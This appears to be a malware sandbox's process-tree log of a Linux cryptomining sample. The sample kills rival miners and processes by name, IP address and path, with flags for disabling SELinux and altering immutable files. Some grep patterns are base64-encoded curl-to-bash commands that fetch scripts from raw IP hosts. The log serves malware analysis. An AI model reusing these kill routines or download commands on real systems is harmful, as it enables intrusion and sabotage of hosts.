/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1039
-
-
/bin/grepgrep /tmp/ppol2⤵PID:1037
-
-
/bin/grepgrep -v grep2⤵PID:1036
-
-
/bin/psps aux2⤵PID:1035
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1044
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1043
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:1042
-
-
/bin/grepgrep -v grep2⤵PID:1041
-
-
/bin/psps aux2⤵PID:1040
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1048
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:1047
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1049
-
-
/bin/grepgrep -v grep2⤵PID:1046
-
-
/bin/psps aux2⤵PID:1045
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1053
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1054
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:1052
-
-
/bin/grepgrep -v grep2⤵PID:1051
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1050
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1058
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1059
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:1057
-
-
/bin/grepgrep -v grep2⤵PID:1056
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1055
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1063
-
-
/bin/grepgrep 45.76.122.922⤵PID:1062
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1064
-
-
/bin/grepgrep -v grep2⤵PID:1061
-
-
/bin/psps aux2⤵PID:1060
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1068
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1069
-
-
/bin/grepgrep 51.38.191.1782⤵PID:1067
-
-
/bin/grepgrep -v grep2⤵PID:1066
-
-
/bin/psps aux2⤵PID:1065
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1073
-
-
/bin/grepgrep 51.15.56.1612⤵PID:1072
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1074
-
-
/bin/grepgrep -v grep2⤵PID:1071
-
-
/bin/psps aux2⤵PID:1070
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1078
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1079
-
-
/bin/grepgrep 86s.jpg2⤵PID:1077
-
-
/bin/grepgrep -v grep2⤵PID:1076
-
-
/bin/psps aux2⤵PID:1075
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1083
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1084
-
-
/bin/grepgrep aGTSGJJp2⤵PID:1082
-
-
/bin/grepgrep -v grep2⤵PID:1081
-
-
/bin/psps aux2⤵PID:1080
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1088
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1087
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1089
-
-
/bin/grepgrep -v grep2⤵PID:1086
-
-
/bin/psps aux2⤵PID:1085
-
-
/bin/grepgrep AgdgACUD2⤵PID:1092
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1093
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1094
-
-
/bin/grepgrep -v grep2⤵PID:1091
-
-
/bin/psps aux2⤵PID:1090
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1101
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1102
-
-
/bin/grepgrep uiZvwxG82⤵PID:1100
-
-
/bin/grepgrep -v grep2⤵PID:1099
-
-
/bin/psps aux2⤵PID:1098
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1106
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1107
-
-
/bin/grepgrep hahwNEdB2⤵PID:1105
-
-
/bin/grepgrep -v grep2⤵PID:1104
-
-
/bin/psps aux2⤵PID:1103
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1111
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1110
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1112
-
-
/bin/grepgrep -v grep2⤵PID:1109
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1108
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1117
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1116
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1115
-
-
/bin/grepgrep -v grep2⤵PID:1114
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1113
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1121
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1122
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1120
-
-
/bin/grepgrep -v grep2⤵PID:1119
-
-
/bin/psps aux2⤵PID:1118
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1127
-
-
/bin/grepgrep svc2⤵PID:1125
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1126
-
-
/bin/grepgrep -v grep2⤵PID:1124
-
-
/bin/psps aux2⤵PID:1123
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1132
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1131
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1130
-
-
/bin/grepgrep -v grep2⤵PID:1129
-
-
/bin/psps aux2⤵PID:1128
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1136
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1137
-
-
/bin/grepgrep zXcDajSs2⤵PID:1135
-
-
/bin/grepgrep -v grep2⤵PID:1134
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1133
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1142
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1141
-
-
/bin/grepgrep 3lmigMo2⤵PID:1140
-
-
/bin/grepgrep -v grep2⤵PID:1139
-
-
/bin/psps aux2⤵PID:1138
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1146
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1147
-
-
/bin/grepgrep AkMK4A22⤵PID:1145
-
-
/bin/grepgrep -v grep2⤵PID:1144
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1143
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1151
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1152
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1150
-
-
/bin/grepgrep -v grep2⤵PID:1149
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1148
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1156
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1157
-
-
/bin/grepgrep HiPxCJRS2⤵PID:1155
-
-
/bin/grepgrep -v grep2⤵PID:1154
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1153
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1161
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1162
-
-
/bin/grepgrep http_0xCC0302⤵
- Disables SELinux
PID:1160
-
-
/bin/grepgrep -v grep2⤵PID:1159
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1158
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1167
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1166
-
-
/bin/grepgrep http_0xCC0312⤵PID:1165
-
-
/bin/grepgrep -v grep2⤵PID:1164
-
-
/bin/psps aux2⤵PID:1163
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1171
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1172
-
-
/bin/grepgrep http_0xCC0322⤵PID:1170
-
-
/bin/grepgrep -v grep2⤵PID:1169
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1168
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1177
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1176
-
-
/bin/grepgrep http_0xCC0332⤵PID:1175
-
-
/bin/grepgrep -v grep2⤵PID:1174
-
-
/bin/psps aux2⤵PID:1173
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1182
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1181
-
-
/bin/grepgrep C4iLM4L2⤵PID:1180
-
-
/bin/grepgrep -v grep2⤵PID:1179
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1178
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1186
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1187
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1185
-
-
/bin/grepgrep -v grep2⤵PID:1184
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1183
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1191
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1190
-
-
/bin/grepgrep -v grep2⤵PID:1189
-
-
/bin/psps aux2⤵PID:1188
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1195
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1194
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1196
-
-
/bin/grepgrep -v grep2⤵PID:1193
-
-
/bin/psps aux2⤵PID:1192
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1200
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1201
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1199
-
-
/bin/grepgrep -v grep2⤵PID:1198
-
-
/bin/psps aux2⤵PID:1197
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1205
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1206
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1204
-
-
/bin/grepgrep -v grep2⤵PID:1203
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1202
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1211
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1210
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1209
-
-
/bin/grepgrep -v grep2⤵PID:1208
-
-
/bin/psps aux2⤵PID:1207
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1216
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1215
-
-
/bin/grepgrep nqscheduler2⤵PID:1214
-
-
/bin/grepgrep -v grep2⤵PID:1213
-
-
/bin/psps aux2⤵PID:1212
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1220
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1221
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1219
-
-
/bin/grepgrep -v grep2⤵PID:1218
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1217
-
-
/bin/grepgrep "]"2⤵PID:1225
-
-
/bin/grepgrep -v aux2⤵PID:1224
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1226
-
-
/bin/grepgrep -v grep2⤵PID:1223
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1227
-
-
/bin/psps aux2⤵PID:1222
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1231
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1232
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1230
-
-
/bin/grepgrep -v grep2⤵PID:1229
-
-
/bin/psps aux2⤵PID:1228
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1236
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1237
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1235
-
-
/bin/grepgrep -v grep2⤵PID:1234
-
-
/bin/psps aux2⤵PID:1233
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1241
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1242
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1240
-
-
/bin/grepgrep -v grep2⤵PID:1239
-
-
/bin/psps aux2⤵PID:1238
-
-
/bin/grepgrep -v -2⤵PID:1246
-
-
/bin/grepgrep -v /2⤵PID:1245
-
-
/bin/grepgrep -v _2⤵PID:1247
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1248
-
-
/bin/grepgrep -v grep2⤵PID:1244
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1249
-
-
/bin/psps aux2⤵PID:1243
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1253
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1254
-
-
/bin/grepgrep "\\[^"2⤵PID:1252
-
-
/bin/grepgrep -v grep2⤵PID:1251
-
-
/bin/psps aux2⤵PID:1250
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1258
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1259
-
-
/bin/grepgrep rsync2⤵PID:1257
-
-
/bin/grepgrep -v grep2⤵PID:1256
-
-
/bin/psps aux2⤵PID:1255
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1263
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1264
-
-
/bin/grepgrep watchd0g2⤵PID:1262
-
-
/bin/grepgrep -v grep2⤵PID:1261
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1260
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1268
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1269
-
-
/bin/grepgrep -v grep2⤵PID:1266
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1267
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1265
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1267
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1267
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1267
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1267
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1267
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:1267
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1273
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1274
-
-
/bin/grepgrep 158.69.133.18:82202⤵
- Disables SELinux
PID:1272
-
-
/bin/grepgrep -v grep2⤵PID:1271
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1270
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1278
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1279
-
-
/bin/grepgrep /tmp/java2⤵PID:1277
-
-
/bin/grepgrep -v grep2⤵PID:1276
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1275
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1283
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1284
-
-
/bin/grepgrep gitee.com2⤵PID:1282
-
-
/bin/grepgrep -v grep2⤵PID:1281
-
-
/bin/psps aux2⤵PID:1280
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1288
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1289
-
-
/bin/grepgrep /tmp/java2⤵PID:1287
-
-
/bin/grepgrep -v grep2⤵PID:1286
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1285
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1294
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1293
-
-
/bin/grepgrep 104.248.4.1622⤵PID:1292
-
-
/bin/grepgrep -v grep2⤵PID:1291
-
-
/bin/psps aux2⤵PID:1290
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1298
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1299
-
-
/bin/grepgrep 89.35.39.782⤵PID:1297
-
-
/bin/grepgrep -v grep2⤵PID:1296
-
-
/bin/psps aux2⤵PID:1295
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1304
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1303
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:1302
-
-
/bin/grepgrep -v grep2⤵PID:1301
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1300
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1308
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1309
-
-
/bin/grepgrep kthrotlds2⤵PID:1307
-
-
/bin/grepgrep -v grep2⤵PID:1306
-
-
/bin/psps aux2⤵PID:1305
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1313
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1314
-
-
/bin/grepgrep ksoftirqds2⤵PID:1312
-
-
/bin/grepgrep -v grep2⤵PID:1311
-
-
/bin/psps aux2⤵PID:1310
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1318
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1319
-
-
/bin/grepgrep netdns2⤵PID:1317
-
-
/bin/grepgrep -v grep2⤵PID:1316
-
-
/bin/psps aux2⤵PID:1315
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1323
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1324
-
-
/bin/grepgrep watchdogs2⤵PID:1322
-
-
/bin/grepgrep -v grep2⤵PID:1321
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1320
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1328
-
-
/bin/grepgrep -v grep2⤵PID:1326
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1329
-
-
/bin/grepgrep kdevtmpfsi2⤵PID:1327
-
-
/bin/psps aux2⤵PID:1325
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1334
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1333
-
-
/bin/grepgrep kinsing2⤵PID:1332
-
-
/bin/grepgrep -v grep2⤵PID:1331
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1330
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1339
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1338
-
-
/bin/grepgrep redis22⤵PID:1337
-
-
/bin/grepgrep -v grep2⤵PID:1336
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1335
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1344
-
-
/bin/grepgrep -v aux2⤵PID:1342
-
-
/bin/grepgrep " ps"2⤵PID:1343
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1345
-
-
/bin/grepgrep -v grep2⤵PID:1341
-
-
/bin/psps aux2⤵PID:1340
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1350
-
-
/bin/grepgrep sync_supers2⤵PID:1348
-
-
/bin/grepgrep -v grep2⤵PID:1347
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1346
-
-
/usr/bin/cutcut -c 9-152⤵PID:1349
-
-
/usr/bin/cutcut -c 9-152⤵PID:1354
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1355
-
-
/bin/grepgrep cpuset2⤵PID:1353
-
-
/bin/grepgrep -v grep2⤵PID:1352
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1351
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1360
-
-
/bin/grepgrep "x]"2⤵PID:1359
-
-
/bin/grepgrep -v aux2⤵PID:1358
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1361
-
-
/bin/grepgrep -v grep2⤵PID:1357
-
-
/bin/psps aux2⤵PID:1356
-
-
/bin/grepgrep "sh] <"2⤵PID:1365
-
-
/bin/grepgrep -v aux2⤵PID:1364
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1366
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1367
-
-
/bin/grepgrep -v grep2⤵PID:1363
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1362
-
-
/bin/grepgrep " \\[]"2⤵PID:1371
-
-
/bin/grepgrep -v aux2⤵PID:1370
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1372
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1373
-
-
/bin/grepgrep -v grep2⤵PID:1369
-
-
/bin/psps aux2⤵PID:1368
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1377
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:1376
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1378
-
-
/bin/grepgrep -v grep2⤵PID:1375
-
-
/bin/psps aux2⤵PID:1374
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1382
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1383
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:1381
-
-
/bin/grepgrep -v grep2⤵PID:1380
-
-
/bin/psps aux2⤵PID:1379
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1387
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1388
-
-
/bin/grepgrep hahwNEdB2⤵PID:1386
-
-
/bin/grepgrep -v grep2⤵PID:1385
-
-
/bin/psps aux2⤵PID:1384
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1392
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1393
-
-
/bin/grepgrep CnzFVPLF2⤵PID:1391
-
-
/bin/grepgrep -v grep2⤵PID:1390
-
-
/bin/psps aux2⤵PID:1389
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1397
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1398
-
-
/bin/grepgrep CvKzzZLs2⤵PID:1396
-
-
/bin/grepgrep -v grep2⤵PID:1395
-
-
/bin/psps aux2⤵PID:1394
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1402
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:1401
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1403
-
-
/bin/grepgrep -v grep2⤵PID:1400
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1399
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1408
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1407
-
-
/bin/grepgrep /tmp/udevd2⤵PID:1406
-
-
/bin/grepgrep -v grep2⤵PID:1405
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1404
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1412
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1413
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:1411
-
-
/bin/grepgrep -v grep2⤵PID:1410
-
-
/bin/psps aux2⤵PID:1409
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1417
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1418
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:1416
-
-
/bin/grepgrep -v grep2⤵PID:1415
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1414
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1422
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1423
-
-
/bin/grepgrep sustse2⤵PID:1421
-
-
/bin/grepgrep -v grep2⤵PID:1420
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1419
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1427
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1428
-
-
/bin/grepgrep sustse32⤵PID:1426
-
-
/bin/grepgrep -v grep2⤵PID:1425
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1424
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1433
-
-
/bin/grepgrep wget2⤵PID:1432
-
-
/bin/grepgrep mr.sh2⤵PID:1431
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1434
-
-
/bin/grepgrep -v grep2⤵PID:1430
-
-
/bin/psps aux2⤵PID:1429
-
-
/bin/grepgrep curl2⤵PID:1438
-
-
/bin/grepgrep mr.sh2⤵PID:1437
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1439
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1440
-
-
/bin/grepgrep -v grep2⤵PID:1436
-
-
/bin/psps aux2⤵PID:1435
-
-
/bin/grepgrep wget2⤵PID:1444
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1445
-
-
/bin/grepgrep 2mr.sh2⤵PID:1443
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1446
-
-
/bin/grepgrep -v grep2⤵PID:1442
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1441
-
-
/bin/grepgrep curl2⤵PID:1450
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1451
-
-
/bin/grepgrep 2mr.sh2⤵PID:1449
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1452
-
-
/bin/grepgrep -v grep2⤵PID:1448
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1447
-
-
/bin/grepgrep wget2⤵PID:1456
-
-
/bin/grepgrep cr5.sh2⤵PID:1455
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1457
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1458
-
-
/bin/grepgrep -v grep2⤵PID:1454
-
-
/bin/psps aux2⤵PID:1453
-
-
/bin/grepgrep curl2⤵PID:1462
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1463
-
-
/bin/grepgrep cr5.sh2⤵PID:1461
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1464
-
-
/bin/grepgrep -v grep2⤵PID:1460
-
-
/bin/psps aux2⤵PID:1459
-
-
/bin/grepgrep wget2⤵PID:1468
-
-
/bin/grepgrep logo9.jpg2⤵PID:1467
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1469
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1470
-
-
/bin/grepgrep -v grep2⤵PID:1466
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1465
-
-
/bin/grepgrep curl2⤵PID:1474
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1475
-
-
/bin/grepgrep logo9.jpg2⤵PID:1473
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1476
-
-
/bin/grepgrep -v grep2⤵PID:1472
-
-
/bin/psps aux2⤵PID:1471
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1480
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1481
-
-
/bin/grepgrep j2.conf2⤵PID:1479
-
-
/bin/grepgrep -v grep2⤵PID:1478
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1477
-
-
/bin/grepgrep wget2⤵PID:1485
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1486
-
-
/bin/grepgrep luk-cpu2⤵PID:1484
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1487
-
-
/bin/grepgrep -v grep2⤵PID:1483
-
-
/bin/psps aux2⤵PID:1482
-
-
/bin/grepgrep curl2⤵PID:1491
-
-
/bin/grepgrep luk-cpu2⤵PID:1490
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1492
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1493
-
-
